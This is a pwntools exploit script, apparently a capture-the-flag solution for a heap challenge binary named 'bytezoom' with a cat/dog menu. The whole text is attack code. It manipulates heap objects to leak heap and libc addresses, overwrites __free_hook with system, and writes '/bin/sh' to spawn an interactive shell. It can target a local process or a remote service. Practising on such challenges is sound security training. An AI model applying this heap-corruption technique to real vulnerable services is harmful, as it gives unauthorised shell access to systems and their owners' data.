1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import *
local = 1 debug = 1 binary = "./bytezoom" lib = "/lib/x86_64-linux-gnu/libc.so.6" elf = ELF(binary) context.log_level = "debug" if debug else "info"
if local: p = process(binary) libc = ELF(lib) else : p = remote() lib = "./libc.so.6" libc = ELF(lib)
s = lambda buf : p.send(buf) sl = lambda buf : p.sendline(buf) sa = lambda delim, buf : p.sendafter(delim, buf) sal = lambda delim, buf : p.sendlineafter(delim, buf) sh = lambda : p.interactive() r = lambda n=None : p.recv(n) ru = lambda delim : p.recvuntil(delim) r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00") trs = lambda addr : libc.address+addr gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next() tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)
def add(type,index,name): sal("choice:","1") sal("cat or dog?",type) sal("input index:",str(index)) sal("name:",name) sal("age:",str(0x40))
def manage(): sal("choice:","3")
def manage_exit(): sal("choice:","4") def show(type,index): sal("choice:","2") sal("cat or dog?",type) sal("index:",str(index))
def select(type,index): sal("choice:","1") sal("cat or dog?",type) sal("index:",str(index))
def add_age(type,size): sal("choice:","2") sal("cat or dog?",type) sal("want to add",str(size))
def change_name(type,name): sal("choice:","3") sal("cat or dog?",type) sal("new name:",name)
add("cat",0,"C"*0x4) add("dog",1,"D"*0x4) manage() select("dog",1) manage_exit() add("dog",1,"E"*0x4) add("cat",1,"F"*0x4)
manage() add_age("dog",0xf0) select("cat",1) change_name("cat","\x01\x11") manage_exit()
add("dog",3,"3"*0x4) add("dog",2,"D"*0x480) add("dog",2,"D"*0x4) show("dog",1)
ru("name:") r(0x30) heap = u64(r(8)) - 0x14cf0 libc.address = r7f() - 1328 - 0x10 - libc.sym["__malloc_hook"]
info("heap => 0x%x"%heap) info("libc => 0x%x"%libc.address)
manage() add_age("dog",0x78) change_name("cat",p64(libc.sym["__free_hook"]-0x10)) select("dog",3) change_name("dog","/bin/sh\x00"*2+p64(libc.sym["system"]))
sh()
|